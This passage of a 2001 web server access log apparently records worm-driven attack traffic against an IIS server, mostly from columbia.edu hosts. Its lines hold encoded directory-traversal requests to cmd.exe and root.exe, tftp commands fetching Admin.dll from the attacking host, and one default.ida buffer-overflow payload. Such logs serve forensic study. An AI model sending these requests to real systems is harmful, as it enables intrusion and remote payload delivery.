  8655. 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  8656. 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  8657. 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../Admin.dll HTTP/1.0"
  8658. 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8659. 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  8660. 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  8661. 20010919 05:11:14: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  8662. 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../Admin.dll HTTP/1.0"
  8663. 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8664. 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  8665. 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  8666. 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  8667. 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../Admin.dll HTTP/1.0"
  8668. 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8669. 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  8670. 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  8671. 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  8672. 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../Admin.dll HTTP/1.0"
  8673. 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8674. 20010919 05:11:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  8675. 20010919 05:11:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  8676. 20010919 05:11:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  8677. 20010919 05:11:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../Admin.dll HTTP/1.0"
  8678. 20010919 05:11:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8679. 20010919 05:11:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0"
  8680. 20010919 05:11:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0"
  8681. 20010919 05:11:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.215.220%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0"
  8682. 20010919 05:11:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../Admin.dll HTTP/1.0"
  8683. 20010919 05:11:16: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8684. 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8685. 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8686. 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8687. 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8688. 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8689. 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8690. 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8691. 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8692. 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8693. 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8694. 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8695. 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8696. 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8697. 20010919 05:19:19: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8698. 20010919 05:19:20: themelis2.hksm.columbia.edu [128.59.236.73] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8699. 20010919 05:19:20: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8700. 20010919 05:25:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8701. 20010919 05:25:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8702. 20010919 05:25:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8703. 20010919 05:25:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8704. 20010919 05:25:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8705. 20010919 05:25:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8706. 20010919 05:25:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8707. 20010919 05:25:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8708. 20010919 05:25:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8709. 20010919 05:25:55: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8710. 20010919 05:25:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8711. 20010919 05:25:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8712. 20010919 05:25:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8713. 20010919 05:25:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8714. 20010919 05:25:56: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8715. 20010919 05:25:56: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8716. 20010919 05:27:20: borenti2.law.columbia.edu [128.59.176.142] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8717. 20010919 05:27:20: borenti2.law.columbia.edu [128.59.176.142] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8718. 20010919 05:27:21: borenti2.law.columbia.edu [128.59.176.142] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8719. 20010919 05:27:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8720. 20010919 05:27:21: borenti2.law.columbia.edu [128.59.176.142] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8721. 20010919 05:27:21: borenti2.law.columbia.edu [128.59.176.142] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8722. 20010919 05:27:21: borenti2.law.columbia.edu [128.59.176.142] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8723. 20010919 05:27:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8724. 20010919 05:27:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8725. 20010919 05:27:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8726. 20010919 05:27:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8727. 20010919 05:27:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8728. 20010919 05:27:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8729. 20010919 05:27:21: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8730. 20010919 05:27:22: borenti2.law.columbia.edu [128.59.176.142] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8731. 20010919 05:27:22:  [194.73.175.222] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8732. 20010919 05:30:27:  [194.73.175.222] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8733. 20010919 05:30:46:  [194.73.175.222] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8734. 20010919 05:31:04:  [194.73.175.222] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8735. 20010919 05:31:23:  [194.73.175.222] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8736. 20010919 05:31:41:  [194.73.175.222] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8737. 20010919 05:31:59:  [194.73.175.222] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8738. 20010919 05:32:18:  [194.73.175.222] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8739. 20010919 05:32:36:  [194.73.175.222] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8740. 20010919 05:32:55:  [194.73.175.222] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8741. 20010919 05:33:13:  [194.73.175.222] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8742. 20010919 05:33:32:  [194.73.175.222] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8743. 20010919 05:33:50:  [194.73.175.222] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8744. 20010919 05:34:08:  [194.73.175.222] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8745. 20010919 05:34:27:  [194.73.175.222] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8746. 20010919 05:34:45:  [194.73.175.222] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8747. 20010919 05:35:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8748. 20010919 05:35:04: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8749. 20010919 05:35:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8750. 20010919 05:35:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8751. 20010919 05:35:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8752. 20010919 05:35:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8753. 20010919 05:35:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8754. 20010919 05:35:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8755. 20010919 05:35:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8756. 20010919 05:35:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8757. 20010919 05:35:05: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8758. 20010919 05:35:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8759. 20010919 05:35:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8760. 20010919 05:35:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8761. 20010919 05:35:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8762. 20010919 05:35:06: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8763. 20010919 05:35:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8764. 20010919 05:35:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8765. 20010919 05:35:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8766. 20010919 05:35:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8767. 20010919 05:35:15: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8768. 20010919 05:35:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8769. 20010919 05:35:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8770. 20010919 05:35:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8771. 20010919 05:35:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8772. 20010919 05:35:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8773. 20010919 05:35:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8774. 20010919 05:35:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8775. 20010919 05:35:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8776. 20010919 05:35:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8777. 20010919 05:35:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8778. 20010919 05:35:16: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8779. 20010919 05:35:16: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8780. 20010919 05:36:21: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8781. 20010919 05:36:21: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8782. 20010919 05:36:21: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8783. 20010919 05:36:21: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8784. 20010919 05:36:21: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8785. 20010919 05:36:21: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8786. 20010919 05:36:21: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8787. 20010919 05:36:21: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8788. 20010919 05:36:21: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8789. 20010919 05:36:21: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8790. 20010919 05:36:21: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8791. 20010919 05:36:22: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8792. 20010919 05:36:22: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8793. 20010919 05:36:22: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8794. 20010919 05:36:22: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8795. 20010919 05:36:22: sql-server.jrn.columbia.edu [128.59.96.106] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  8796. 20010919 05:36:59: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8797. 20010919 05:37:10: sql-server.jrn.columbia.edu [128.59.96.106] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8798. 20010919 05:37:10: sql-server.jrn.columbia.edu [128.59.96.106] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8799. 20010919 05:37:10: sql-server.jrn.columbia.edu [128.59.96.106] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8800. 20010919 05:37:10: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8801. 20010919 05:37:10: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8802. 20010919 05:37:10: sql-server.jrn.columbia.edu [128.59.96.106] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8803. 20010919 05:37:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8804. 20010919 05:37:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8805. 20010919 05:37:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8806. 20010919 05:37:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8807. 20010919 05:37:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8808. 20010919 05:37:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8809. 20010919 05:37:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8810. 20010919 05:37:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8811. 20010919 05:37:11: sql-server.jrn.columbia.edu [128.59.96.106] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8812. 20010919 05:37:11: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  8813. 20010919 05:38:18: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  8814. 20010919 05:38:18: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8815. 20010919 05:38:18: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8816. 20010919 05:38:19: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8817. 20010919 05:38:19: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8818. 20010919 05:38:19: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8819. 20010919 05:38:19: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8820. 20010919 05:38:20: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8821. 20010919 05:38:20: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8822. 20010919 05:38:20: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8823. 20010919 05:38:20: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8824. 20010919 05:38:20: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8825. 20010919 05:38:20: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  8826. 20010919 05:38:20: bus172-159.gsb.columbia.edu [128.59.172.159] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
